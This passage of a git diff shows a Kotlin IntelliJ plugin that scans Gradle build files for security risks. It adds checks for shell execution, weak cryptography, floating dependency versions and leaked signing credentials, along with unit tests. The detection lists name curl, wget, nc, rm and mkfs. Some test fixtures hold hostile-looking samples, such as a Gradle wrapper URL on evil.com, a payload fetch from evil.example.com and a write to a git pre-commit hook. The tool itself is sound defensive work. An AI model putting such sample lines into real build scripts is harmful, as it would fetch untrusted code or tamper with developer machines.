@@ class SensitiveFileCheck : SecurityCheck { SecurityViolation( file = file, line = index + 1, - content = line.trim(), + content = stripped, message = "Access to sensitive file/property detected: ${matcher.group()}", riskLevel = RiskLevel.HIGH ) ) } } + + for (pattern in signingPatterns) { + val matcher = pattern.matcher(line) + if (matcher.find()) { + val value = if (matcher.groupCount() >= 1) matcher.group(1).lowercase().trim() else "" + if (value.isNotEmpty() && !signingPlaceholders.contains(value)) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Hardcoded Android signing credential detected: '${matcher.group().substringBefore("(")}'. Use environment variables or keystore.properties (excluded from VCS) instead.", + riskLevel = RiskLevel.HIGH + ) + ) + } + } + } } return violations } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ShellExecutionCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ShellExecutionCheck.kt index becacda..a9ba0b4 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ShellExecutionCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ShellExecutionCheck.kt @@ -12,16 +12,30 @@ class ShellExecutionCheck : SecurityCheck { private val patterns = listOf( Pattern.compile("Runtime\\.getRuntime\\(\\)\\.exec", Pattern.CASE_INSENSITIVE), Pattern.compile("ProcessBuilder", Pattern.CASE_INSENSITIVE), - Pattern.compile("\\.execute\\(\\)", Pattern.CASE_INSENSITIVE), // Groovy string execute Pattern.compile("[\"'](sh|bash|zsh|cmd|powershell)[\"']", Pattern.CASE_INSENSITIVE), Pattern.compile("/bin/sh|/bin/bash|cmd\\.exe", Pattern.CASE_INSENSITIVE) ) + // Groovy string .execute() is common for git versioning; only flag when the string looks like + // a shell invocation (contains shell keywords, pipes, or redirects) rather than a plain command. + private val executePattern = Pattern.compile("\\.execute\\(\\)", Pattern.CASE_INSENSITIVE) + private val shellIndicators = Pattern.compile("[|><&;]|\\$\\(|`|\\bsh\\b|\\bbash\\b|\\bsudo\\b|\\brm\\b|\\bcurl\\b|\\bwget\\b", Pattern.CASE_INSENSITIVE) + + // commandLine(...) with ${} interpolation — attacker-controlled input injected into a shell command + private val commandLineInterpolation = Pattern.compile( + """commandLine\s*[\(\[,].*\$\{""", + Pattern.CASE_INSENSITIVE + ) + private val destructiveInterpolated = setOf("rm", "del", "format", "curl", "wget", "nc", "chmod", "chown", "dd", "mkfs") + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { val violations = mutableListOf() val lines = content.lines() lines.forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed + for (pattern in patterns) { val matcher = pattern.matcher(line) if (matcher.find()) { @@ -29,13 +43,46 @@ class ShellExecutionCheck : SecurityCheck { SecurityViolation( file = file, line = index + 1, - content = line.trim(), + content = stripped, message = "Potential shell execution detected: ${matcher.group()}", riskLevel = RiskLevel.HIGH ) ) } } + + // .execute() in Groovy is legitimate for simple git/version commands. + // Only flag when the line also contains shell-specific operators or dangerous commands. + if (executePattern.matcher(line).find() && shellIndicators.matcher(line).find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Suspicious shell execution via .execute() with shell operators or dangerous commands detected.", + riskLevel = RiskLevel.HIGH + ) + ) + } + + // commandLine with ${} interpolation — user-controlled input in a process exec call + if (commandLineInterpolation.matcher(line).find()) { + val hasDestructive = destructiveInterpolated.any { cmd -> + line.contains(cmd, ignoreCase = true) + } + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = if (hasDestructive) + "String interpolation with a destructive command in commandLine — attacker-controlled project properties can inject arbitrary commands." + else + "String interpolation inside commandLine — verify that interpolated values cannot be controlled by untrusted input.", + riskLevel = if (hasDestructive) RiskLevel.HIGH else RiskLevel.MEDIUM + ) + ) + } } return violations } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/TrustDialogInjector.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/TrustDialogInjector.kt index e195401..30c7df4 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/TrustDialogInjector.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/TrustDialogInjector.kt @@ -6,6 +6,7 @@ import com.intellij.ide.RecentProjectsManager import com.intellij.openapi.actionSystem.ActionUiKind import com.intellij.openapi.actionSystem.AnActionEvent import com.intellij.openapi.actionSystem.ex.ActionUtil +import com.intellij.openapi.application.ApplicationManager import com.intellij.openapi.progress.ProgressIndicator import com.intellij.openapi.progress.ProgressManager import com.intellij.openapi.progress.Task @@ -27,7 +28,6 @@ import javax.swing.JButton import javax.swing.JDialog import javax.swing.JFrame import javax.swing.JPanel -import javax.swing.SwingUtilities import javax.swing.Timer class TrustDialogInjector : AppLifecycleListener { @@ -124,7 +124,7 @@ class TrustDialogInjector : AppLifecycleListener { val scanner = SecurityScanner() val violations = scanner.scanDirectory(vFile) - SwingUtilities.invokeLater { + ApplicationManager.getApplication().invokeLater { if (violations.isEmpty()) { trustButton?.doClick() ?: window.dispose() } else { diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/VulnerabilityCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/VulnerabilityCheck.kt index 47f7c45..a282509 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/VulnerabilityCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/VulnerabilityCheck.kt @@ -124,36 +124,223 @@ class VulnerabilityCheck : SecurityCheck { private val dependencyPattern = Pattern.compile("['\"]([^'\"]+):([^'\"]+):([^'\"]+)['\"]") + // TOML version catalog: matches both inline "group:artifact:version" strings and + // table-style { module = "group:artifact", version = "x.y.z" } entries + private val tomlInlinePattern = Pattern.compile(""""([a-zA-Z0-9._-]+):([a-zA-Z0-9._-]+):([^"]+)"""") + private val tomlModulePattern = Pattern.compile("""module\s*=\s*"([a-zA-Z0-9._-]+):([a-zA-Z0-9._-]+)"""") + private val tomlVersionPattern = Pattern.compile("""version(?:\s*=\s*|\s*\.\s*ref\s*=\s*)"([^"]+)"""") + + // Matches dynamic/floating versions: '+', 'latest.release', 'latest.integration', or any '-SNAPSHOT' + private val dynamicVersionPattern = Pattern.compile( + "['\"]([^'\"]+):([^'\"]+):(\\+|latest\\.release|latest\\.integration|[^'\"]*-SNAPSHOT)['\"]", + Pattern.CASE_INSENSITIVE + ) + + // Maven/Ivy open version ranges: (1.0,), [1.0,2.0), (,2.0] etc. — resolve to arbitrary versions at build time + private val versionRangePattern = Pattern.compile( + """['"][^'"]*:([^'"]*)[:\s][(\[]\d[^)'\]"]*[)\]]['"]]?""", + Pattern.CASE_INSENSITIVE + ) + // Simpler pattern that matches the version token directly + private val rangeVersionToken = Pattern.compile( + """['"]\s*([a-zA-Z0-9._\-]+:[a-zA-Z0-9._\-]+:)\s*([(\[]\d[^'"]*[)\]])\s*['"]""", + Pattern.CASE_INSENSITIVE + ) + + // Detects resolutionStrategy { force '...' } which can silently downgrade transitive deps to vulnerable versions + private val forcePattern = Pattern.compile( + """force\s*['"](([^'"]+):([^'"]+):([^'"]+))['"]""", + Pattern.CASE_INSENSITIVE + ) + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + if (file.name == "libs.versions.toml") return checkToml(file, content, project, teamConfig) + return checkGradleScript(file, content, project, teamConfig) + } + + private fun checkToml(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { val violations = mutableListOf() val lines = content.lines() + val declaredDeps = mutableListOf>() + val depLineIndex = mutableMapOf, Int>() lines.forEachIndexed { index, line -> - val matcher = dependencyPattern.matcher(line) - if (matcher.find()) { - val group = matcher.group(1) - val artifact = matcher.group(2) - val version = matcher.group(3) + val stripped = line.trim() + if (stripped.startsWith("#")) return@forEachIndexed + + // Inline format: "com.example:library:1.0.0" + val inlineMatcher = tomlInlinePattern.matcher(line) + if (inlineMatcher.find()) { + val t = Triple(inlineMatcher.group(1), inlineMatcher.group(2), inlineMatcher.group(3).trim()) + declaredDeps.add(t); depLineIndex[t] = index + 1 + checkStaticCve(file, index + 1, stripped, t, violations) + } else { + // Table format: module = "group:artifact", version = "x.y.z" on the same logical line + val modMatcher = tomlModulePattern.matcher(line) + val verMatcher = tomlVersionPattern.matcher(line) + if (modMatcher.find() && verMatcher.find()) { + val t = Triple(modMatcher.group(1), modMatcher.group(2), verMatcher.group(1).trim()) + declaredDeps.add(t); depLineIndex[t] = index + 1 + checkStaticCve(file, index + 1, stripped, t, violations) + } + } + } + + if (declaredDeps.isNotEmpty() && isOsvEnabled(project)) { + val alreadyFlagged = violations.map { it.line }.toSet() + val osvResults = OsvAdvisoryClient.queryBatch(declaredDeps) + appendOsvViolations(file, lines, declaredDeps, depLineIndex, alreadyFlagged, osvResults, violations) + } + return violations + } + + private fun checkStaticCve( + file: VirtualFile, lineNum: Int, content: String, + triple: Triple, violations: MutableList + ) { + val (group, artifact, version) = triple + val entry = vulnerableLibraries["$group:$artifact"] ?: return + if (!entry.versions.contains(version)) return + violations.add(SecurityViolation( + file = file, line = lineNum, content = content, + message = "Vulnerable dependency: $group:$artifact:$version is affected by ${entry.cve} (${entry.description}). Upgrade to ${entry.fixVersion} or later.", + riskLevel = RiskLevel.HIGH + )) + } + + private fun appendOsvViolations( + file: VirtualFile, lines: List, + declaredDeps: List>, + depLineIndex: Map, Int>, + alreadyFlagged: Set, + osvResults: Map>, + violations: MutableList + ) { + for ((key, vulns) in osvResults) { + val parts = key.split(":") + if (parts.size < 3) continue + val triple = Triple(parts[0], parts[1], parts[2]) + val lineNum = depLineIndex[triple] ?: continue + if (lineNum in alreadyFlagged) continue + val ids = vulns.joinToString(", ") { it.id } + val summary = vulns.firstOrNull()?.summary?.take(80) ?: "" + violations.add(SecurityViolation( + file = file, line = lineNum, + content = lines.getOrElse(lineNum - 1) { "" }.trim(), + message = "OSV advisory: ${parts[0]}:${parts[1]}:${parts[2]} has known vulnerabilities [$ids]. $summary", + riskLevel = RiskLevel.HIGH + )) + } + } + + private fun checkGradleScript(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + val violations = mutableListOf() + val lines = content.lines() + + // Collect all declared deps for a single OSV batch query + val declaredDeps = mutableListOf>() // group, artifact, version + val depLineIndex = mutableMapOf, Int>() + + lines.forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed + + val cveMatcher = dependencyPattern.matcher(line) + if (cveMatcher.find()) { + val group = cveMatcher.group(1) + val artifact = cveMatcher.group(2) + val version = cveMatcher.group(3) val key = "$group:$artifact" + // Offline static check (instant, no network) val entry = vulnerableLibraries[key] if (entry != null && entry.versions.contains(version)) { violations.add( SecurityViolation( file = file, line = index + 1, - content = line.trim(), + content = stripped, message = "Vulnerable dependency: $key:$version is affected by ${entry.cve} " + "(${entry.description}). Upgrade to ${entry.fixVersion} or later.", riskLevel = RiskLevel.HIGH ) ) } + + val triple = Triple(group, artifact, version) + declaredDeps.add(triple) + depLineIndex[triple] = index + 1 + } + + val dynMatcher = dynamicVersionPattern.matcher(line) + if (dynMatcher.find()) { + val dep = "${dynMatcher.group(1)}:${dynMatcher.group(2)}" + val ver = dynMatcher.group(3) + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Dynamic version '$ver' used for '$dep' — floating versions break reproducible builds and may silently pull in compromised releases. Pin to an exact version.", + riskLevel = RiskLevel.MEDIUM + ) + ) + } + + // Maven/Ivy bracket version ranges resolve to arbitrary versions — silent update vector + val rangeMatcher = rangeVersionToken.matcher(line) + if (rangeMatcher.find()) { + val gav = rangeMatcher.group(1) + rangeMatcher.group(2) + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Version range '$gav' resolves to a different artifact on every build — an attacker who publishes a matching version can silently inject malicious code. Pin to an exact version.", + riskLevel = RiskLevel.MEDIUM + ) + ) + } + + // resolutionStrategy.force can downgrade a transitive dep to a known-vulnerable version + val forceMatcher = forcePattern.matcher(line) + if (forceMatcher.find()) { + val gav = forceMatcher.group(1) + val group = forceMatcher.group(2) + val artifact = forceMatcher.group(3) + val version = forceMatcher.group(4) + val entry = vulnerableLibraries["$group:$artifact"] + val isVulnerable = entry != null && entry.versions.contains(version) + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = if (isVulnerable) + "resolutionStrategy.force pins '$gav' to a version affected by ${entry!!.cve}. This silently re-introduces a known vulnerability." + else + "resolutionStrategy.force('$gav') overrides transitive resolution — verify this version has no known vulnerabilities and is intentional.", + riskLevel = if (isVulnerable) RiskLevel.HIGH else RiskLevel.MEDIUM + ) + ) } } + + // Live OSV.dev check — only if project settings enable it (default: enabled) + if (declaredDeps.isNotEmpty() && isOsvEnabled(project)) { + val alreadyFlagged = violations.map { it.line }.toSet() + val osvResults = OsvAdvisoryClient.queryBatch(declaredDeps) + appendOsvViolations(file, lines, declaredDeps, depLineIndex, alreadyFlagged, osvResults, violations) + } + return violations } + private fun isOsvEnabled(project: Project?): Boolean { + if (project == null) return false + return SafeGradleSettings.getInstance(project).state.enableOsvLookup + } + private data class VulnEntry( val cve: String, val description: String, diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/WeakCryptoCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/WeakCryptoCheck.kt new file mode 100644 index 0000000..4a868ff --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/WeakCryptoCheck.kt @@ -0,0 +1,74 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile +import java.util.regex.Pattern + +class WeakCryptoCheck : SecurityCheck { + override val id = "weak_cryptography" + override val name = "Weak Cryptography" + override val description = "Detects use of deprecated or broken cryptographic algorithms in build scripts." + + private data class CryptoRule(val pattern: Pattern, val algorithm: String, val recommendation: String) + + private val rules = listOf( + CryptoRule( + Pattern.compile("""DESKeySpec|DESede|"DES"|'DES'|Cipher\.getInstance\("DES""", Pattern.CASE_INSENSITIVE), + "DES", + "DES has an effective key length of 56 bits and is broken. Use AES-256 instead." + ), + CryptoRule( + Pattern.compile("""RC4|ARCFOUR|"RC4"|'RC4'""", Pattern.CASE_INSENSITIVE), + "RC4", + "RC4 is cryptographically broken. Use AES-GCM or ChaCha20-Poly1305 instead." + ), + CryptoRule( + Pattern.compile("""MessageDigest\.getInstance\(["']MD5["']|new\s+MD5|\.md5\(\)|DigestUtils\.md5""", Pattern.CASE_INSENSITIVE), + "MD5", + "MD5 is broken for security purposes (collision attacks). Use SHA-256 or SHA-3 for security-sensitive hashing." + ), + CryptoRule( + // SHA-1 only in a security context — not in a checksum/integrity context (those are handled by checksumKeywords) + Pattern.compile("""MessageDigest\.getInstance\(["']SHA-1["']|MessageDigest\.getInstance\(["']SHA1["']""", Pattern.CASE_INSENSITIVE), + "SHA-1", + "SHA-1 is deprecated for security use (collision attacks since 2017). Use SHA-256 or SHA-3 instead." + ), + CryptoRule( + Pattern.compile("""KeyFactory\.getInstance\(["']RSA["']\)|RSAPublicKeySpec.*512|RSAPrivateKeySpec.*512|RSAKeyGenParameterSpec\s*\(\s*512\b""", Pattern.CASE_INSENSITIVE), + "RSA-512", + "RSA keys under 2048 bits are considered broken. Use RSA-2048 or RSA-4096." + ) + ) + + // Lines that are clearly about file integrity checks — not security crypto + private val checksumContext = setOf("checksum", "sha256sum", "distributionsha256sum", "hash", "fingerprint", "digest") + + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + val violations = mutableListOf() + val lines = content.lines() + + lines.forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed + val lower = stripped.lowercase() + if (checksumContext.any { lower.contains(it) }) return@forEachIndexed + + for (rule in rules) { + if (rule.pattern.matcher(line).find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Weak cryptography: ${rule.algorithm} detected. ${rule.recommendation}", + riskLevel = RiskLevel.HIGH, + checkId = id + ) + ) + break // one violation per line per check + } + } + } + return violations + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/WhitelistConfig.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/WhitelistConfig.kt index f395ce5..46c43f0 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/WhitelistConfig.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/WhitelistConfig.kt @@ -5,30 +5,53 @@ import com.intellij.openapi.project.Project object WhitelistConfig { // Built-in safe domains (never flagged) private val builtInWhitelist = setOf( + // Gradle official "gradle.org", "plugins.gradle.org", "services.gradle.org", + "downloads.gradle.org", + "downloads.gradle-dn.com", + "artifacts.gradle.org", + // Maven Central / Sonatype "repo.maven.apache.org", "repo1.maven.org", "central.sonatype.com", - "jcenter.bintray.com", + "oss.sonatype.org", + "s01.oss.sonatype.org", + "repository.sonatype.org", + // Google / Android "dl.google.com", "maven.google.com", - "kotlin.bintray.com", + "storage.googleapis.com", + // JetBrains / Kotlin "plugins.jetbrains.com", "packages.jetbrains.team", + "cache-redirector.jetbrains.com", + // GitHub "maven.pkg.github.com", - "registry.npmjs.org", - "jitpack.io", - "oss.sonatype.org", - "s01.oss.sonatype.org", + "raw.githubusercontent.com", + "github.com", + // Apache "repository.apache.org", - "clojars.org", + "repo.maven.apache.org", + // Spring "repo.spring.io", + // Community / misc registries + "jitpack.io", + "clojars.org", + "packages.microsoft.com", + "nuget.pkg.github.com", + // Common CDNs used by build tools + "cloudfront.net", + "azureedge.net", + // Firebase / Fabric "maven.fabric.io", + "dl.firebase.io", + // Atlassian "maven.atlassian.com", - "raw.githubusercontent.com", - "github.com" + "packages.atlassian.com", + // npm (sometimes referenced in multi-platform builds) + "registry.npmjs.org" ) fun isWhitelistedUrl(url: String, project: Project? = null, teamConfig: YamlConfig? = null): Boolean { diff --git a/src/main/resources/META-INF/plugin.xml b/src/main/resources/META-INF/plugin.xml index a872cf3..d9610a2 100644 --- a/src/main/resources/META-INF/plugin.xml +++ b/src/main/resources/META-INF/plugin.xml @@ -9,16 +9,37 @@ org.jetbrains.kotlin com.intellij.gradle org.intellij.groovy + com.intellij.modules.json + + + + + @@ -30,6 +51,14 @@ com.mohammedalaamorsi.safegradle.WhitelistUrlIntention SafeGradle + + com.mohammedalaamorsi.safegradle.FixHttpToHttpsIntention + SafeGradle + + + com.mohammedalaamorsi.safegradle.PinDynamicVersionIntention + SafeGradle + @@ -49,5 +78,8 @@ + + + diff --git a/src/main/resources/META-INF/safegradle-json-schema.xml b/src/main/resources/META-INF/safegradle-json-schema.xml new file mode 100644 index 0000000..a17d5d3 --- /dev/null +++ b/src/main/resources/META-INF/safegradle-json-schema.xml @@ -0,0 +1,6 @@ + + + diff --git a/src/main/resources/schemas/safegradle-config.schema.json b/src/main/resources/schemas/safegradle-config.schema.json new file mode 100644 index 0000000..b4535a2 --- /dev/null +++ b/src/main/resources/schemas/safegradle-config.schema.json @@ -0,0 +1,89 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "title": "SafeGradle Configuration", + "description": "Team-wide SafeGradle security policy for .safegradle.yml", + "type": "object", + "properties": { + "whitelist_domains": { + "description": "Domains that SafeGradle will never flag, regardless of how they appear in build files.", + "type": "array", + "items": { "type": "string", "examples": ["mycompany.com", "maven.mycompany.com"] } + }, + "severity_overrides": { + "description": "Override the risk level of a specific check, or mute it entirely with 'none'.", + "type": "object", + "additionalProperties": { + "type": "string", + "enum": ["HIGH", "MEDIUM", "LOW", "none", "mute", "off", "disabled"] + }, + "examples": [ + { "plugin_injection": "none", "shell_execution": "HIGH" } + ], + "propertyNames": { + "enum": [ + "shell_execution", + "network_activity", + "sensitive_file_access", + "obfuscated_code", + "system_tampering", + "credential_leak", + "file_exfiltration", + "gradle_wrapper_integrity", + "dependency_confusion", + "plugin_injection", + "dependency_vulnerability", + "gitignore_exposure" + ] + } + }, + "suppressions": { + "description": "Suppress specific violations by file, check ID, and optionally line number.", + "type": "array", + "items": { + "type": "object", + "required": ["check", "file"], + "properties": { + "check": { + "description": "The check ID to suppress. Use 'all' to suppress every check for the given file.", + "type": "string", + "enum": [ + "all", + "shell_execution", + "network_activity", + "sensitive_file_access", + "obfuscated_code", + "system_tampering", + "credential_leak", + "file_exfiltration", + "gradle_wrapper_integrity", + "dependency_confusion", + "plugin_injection", + "dependency_vulnerability", + "gitignore_exposure", + "apply_from_remote" + ] + }, + "file": { + "description": "Path suffix of the file to suppress (e.g. 'build.gradle' or 'scripts/signing.gradle').", + "type": "string" + }, + "line": { + "description": "Optional line number. If omitted, all violations from this check in the file are suppressed.", + "type": "integer", + "minimum": 1 + }, + "reason": { + "description": "Human-readable justification for the suppression (recommended for audit trails).", + "type": "string" + } + } + } + } + }, + "allowed_script_sources": { + "description": "URL prefixes permitted in 'apply from:' statements. Any remote URL not matching a prefix is flagged HIGH.", + "type": "array", + "items": { "type": "string", "examples": ["https://raw.githubusercontent.com/myorg/"] } + }, + "additionalProperties": false +} diff --git a/src/test/kotlin/com/mohammedalaamorsi/safegradle/SecurityCheckTests.kt b/src/test/kotlin/com/mohammedalaamorsi/safegradle/SecurityCheckTests.kt new file mode 100644 index 0000000..a014cf2 --- /dev/null +++ b/src/test/kotlin/com/mohammedalaamorsi/safegradle/SecurityCheckTests.kt @@ -0,0 +1,313 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.testFramework.fixtures.BasePlatformTestCase + +class SecurityCheckTests : BasePlatformTestCase() { + + // ─── CredentialLeakCheck ─────────────────────────────────────────────── + + fun `test credential leak detects hardcoded api key`() { + val check = CredentialLeakCheck() + val code = """api_key = "s3cr3tKeyABCDEF123456"""" + val file = myFixture.configureByText("gradle.properties", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.HIGH, violations[0].riskLevel) + } + + fun `test credential leak ignores placeholder values`() { + val check = CredentialLeakCheck() + val code = """api_key = "changeit"""" + val file = myFixture.configureByText("gradle.properties", code) + val violations = check.check(file.virtualFile, code, project) + assertEmpty(violations) + } + + fun `test credential leak detects AWS key ID`() { + val check = CredentialLeakCheck() + val code = """val awsKey = "AKIAIOSFODNN7EXAMPLE" """ + val file = myFixture.configureByText("build.gradle.kts", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.HIGH, violations[0].riskLevel) + } + + fun `test credential leak detects GitHub PAT`() { + val check = CredentialLeakCheck() + val code = """val token = "ghp_${("A".repeat(36))}" """ + val file = myFixture.configureByText("build.gradle.kts", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + } + + fun `test credential leak skips commented lines`() { + val check = CredentialLeakCheck() + val code = """// api_key = "realSecretXYZ123456"""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + // ─── GradleWrapperIntegrityCheck ────────────────────────────────────── + + fun `test wrapper integrity flags unofficial distributionUrl`() { + val check = GradleWrapperIntegrityCheck() + val content = "distributionUrl=https\\://evil.com/gradle-8.0-bin.zip" + val file = myFixture.configureByText("gradle-wrapper.properties", content) + val violations = check.check(file.virtualFile, content, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.HIGH, violations[0].riskLevel) + } + + fun `test wrapper integrity flags missing sha256`() { + val check = GradleWrapperIntegrityCheck() + val content = "distributionUrl=https\\://services.gradle.org/distributions/gradle-9.2.1-bin.zip" + val file = myFixture.configureByText("gradle-wrapper.properties", content) + val violations = check.check(file.virtualFile, content, project) + assertTrue(violations.any { it.riskLevel == RiskLevel.LOW }) + } + + fun `test wrapper integrity accepts official url`() { + val check = GradleWrapperIntegrityCheck() + val content = """ + distributionUrl=https\://services.gradle.org/distributions/gradle-9.2.1-bin.zip + distributionSha256Sum=abc123def456abc123def456abc123def456abc123def456abc123def456abc1 + """.trimIndent() + val file = myFixture.configureByText("gradle-wrapper.properties", content) + val violations = check.check(file.virtualFile, content, project) + assertTrue(violations.none { it.riskLevel == RiskLevel.HIGH && it.message.contains("official") }) + } + + // ─── DependencyConfusionCheck ────────────────────────────────────────── + + fun `test dependency confusion flags typosquatted group`() { + val check = DependencyConfusionCheck() + val code = """implementation "com.gooogle:guava:31.0-jre"""" + val file = myFixture.configureByText("build.gradle", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.HIGH, violations[0].riskLevel) + } + + fun `test dependency confusion passes legitimate group`() { + val check = DependencyConfusionCheck() + val code = """implementation "com.google.guava:guava:31.0-jre"""" + val file = myFixture.configureByText("build.gradle", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + // ─── PluginInjectionCheck ───────────────────────────────────────────── + + fun `test plugin injection flags unknown plugin`() { + val check = PluginInjectionCheck() + val code = """id("com.suspicious.unknownplugin")""" + val file = myFixture.configureByText("build.gradle.kts", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.LOW, violations[0].riskLevel) + } + + fun `test plugin injection passes known safe plugin`() { + val check = PluginInjectionCheck() + val code = """id("com.android.application")""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + fun `test plugin injection passes trusted prefix`() { + val check = PluginInjectionCheck() + val code = """id("org.jetbrains.kotlin.android") version "1.9.0"""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + // ─── VulnerabilityCheck ─────────────────────────────────────────────── + + fun `test vulnerability check flags known cve`() { + val check = VulnerabilityCheck() + val code = """implementation "org.apache.logging.log4j:log4j-core:2.14.1"""" + val file = myFixture.configureByText("build.gradle", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertTrue(violations[0].message.contains("CVE-2021-44228")) + } + + fun `test vulnerability check passes safe version`() { + val check = VulnerabilityCheck() + val code = """implementation "org.apache.logging.log4j:log4j-core:2.17.0"""" + val file = myFixture.configureByText("build.gradle", code) + assertTrue(check.check(file.virtualFile, code, project).none { it.message.contains("CVE") }) + } + + fun `test vulnerability check flags dynamic version`() { + val check = VulnerabilityCheck() + val code = """implementation "com.google.guava:guava:+"""" + val file = myFixture.configureByText("build.gradle", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.MEDIUM, violations[0].riskLevel) + } + + fun `test vulnerability check flags snapshot version`() { + val check = VulnerabilityCheck() + val code = """implementation "org.springframework:spring-core:6.0.0-SNAPSHOT"""" + val file = myFixture.configureByText("build.gradle", code) + assertNotEmpty(check.check(file.virtualFile, code, project)) + } + + // ─── FileExfiltrationCheck ──────────────────────────────────────────── + + fun `test file exfiltration detects FileOutputStream`() { + val check = FileExfiltrationCheck() + val code = """val out = FileOutputStream("/tmp/stolen.txt")""" + val file = myFixture.configureByText("build.gradle.kts", code) + val violations = check.check(file.virtualFile, code, project) + assertNotEmpty(violations) + assertEquals(RiskLevel.MEDIUM, violations[0].riskLevel) + } + + fun `test file exfiltration detects Files.copy`() { + val check = FileExfiltrationCheck() + val code = """Files.copy(src, dst)""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertNotEmpty(check.check(file.virtualFile, code, project)) + } + + fun `test file exfiltration detects git hook write`() { + val check = FileExfiltrationCheck() + val code = """file(".git/hooks/pre-commit").writeText("evil")""" + val file = myFixture.configureByText("build.gradle.kts", code) + val violations = check.check(file.virtualFile, code, project) + assertTrue(violations.any { it.riskLevel == RiskLevel.HIGH }) + } + + fun `test file exfiltration skips comments`() { + val check = FileExfiltrationCheck() + val code = """// FileOutputStream example""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + // ─── GitignoreExposureCheck ─────────────────────────────────────────── + + fun `test gitignore exposure flags missing keystore`() { + val check = GitignoreExposureCheck() + val content = "build/\n.gradle/\n" + val file = myFixture.configureByText(".gitignore", content) + val violations = check.check(file.virtualFile, content, project) + assertTrue(violations.any { it.message.contains("*.jks") || it.message.contains("*.keystore") }) + } + + fun `test gitignore exposure passes when keystore excluded`() { + val check = GitignoreExposureCheck() + val content = """ + build/ + .gradle/ + *.jks + *.keystore + *.p12 + *.pfx + keystore.properties + local.properties + google-services.json + GoogleService-Info.plist + *.aab + .env + secrets.properties + signing.properties + """.trimIndent() + val file = myFixture.configureByText(".gitignore", content) + assertTrue(check.check(file.virtualFile, content, project).isEmpty()) + } + + // ─── NetworkActivityCheck ───────────────────────────────────────────── + + fun `test network activity detects non-whitelisted url`() { + val check = NetworkActivityCheck() + val code = """val url = java.net.URL("https://evil.example.com/payload")""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertNotEmpty(check.check(file.virtualFile, code, project)) + } + + fun `test network activity skips whitelisted domain`() { + val check = NetworkActivityCheck() + val code = """maven { url = uri("https://repo.maven.apache.org/maven2") }""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + fun `test network activity detects http non-https url`() { + val check = NetworkActivityCheck() + val code = """maven { url = uri("http://evil.example.com/repo") }""" + val file = myFixture.configureByText("build.gradle.kts", code) + val violations = check.check(file.virtualFile, code, project) + assertTrue(violations.any { it.riskLevel == RiskLevel.HIGH }) + } + + fun `test network activity does not flag url in comment`() { + val check = NetworkActivityCheck() + val code = """// see https://evil.example.com for more info""" + val file = myFixture.configureByText("build.gradle.kts", code) + assertTrue(check.check(file.virtualFile, code, project).isEmpty()) + } + + fun `test network activity flags jcenter deprecated`() { 